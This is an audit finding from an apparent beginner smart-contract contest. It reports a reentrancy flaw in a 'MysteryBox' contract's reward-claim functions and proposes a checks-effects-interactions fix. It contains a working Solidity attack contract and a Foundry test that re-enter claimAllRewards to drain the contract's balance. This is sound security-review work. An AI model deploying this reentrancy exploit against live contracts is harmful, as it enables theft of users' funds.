Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `claimAllRewards` and `claimSingleReward` can lead to funds been drained

Summary

Both claim functions have reentrancy vulnerabilities, as they don't follow CEI, deleting the user reward after sending eth.

Vulnerability Details

To corroborate the issue you may add the following attack contract to TestMysteryBox.t.sol.

contract Attack{
MysteryBox public misteryBox;
constructor(address _misteryBox) payable {
misteryBox = MysteryBox(_misteryBox);
}
function buyAndOpenBox() external {
misteryBox.buyBox{value: 0.1 ether}();
misteryBox.openBox();
misteryBox.claimAllRewards();
}
function attack() public {
misteryBox.claimAllRewards();
}
fallback() external payable{
if (address(misteryBox).balance >= 0.1 ether){
attack();
}
}
}

Then you should add the following function within MysteryBoxTest

function testReentrency() public {
Attack attack;
vm.deal(user1, 1 ether);
//warp to a specific timestamp to specifically get a bronze coin of 0.1 eth reward
vm.warp(7);
vm.prank(user1);
//user creates and funds a new attack contract
attack = new Attack{value: 0.1 ether}(address(mysteryBox));
//user calls the attack function
attack.buyAndOpenBox();
}

Impact

The funds of the contract can be completely drained by malicious user.

Tools Used

Manual review

Recommendations

Reorder the claim functions' lines of code to follow CEI as follows:

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!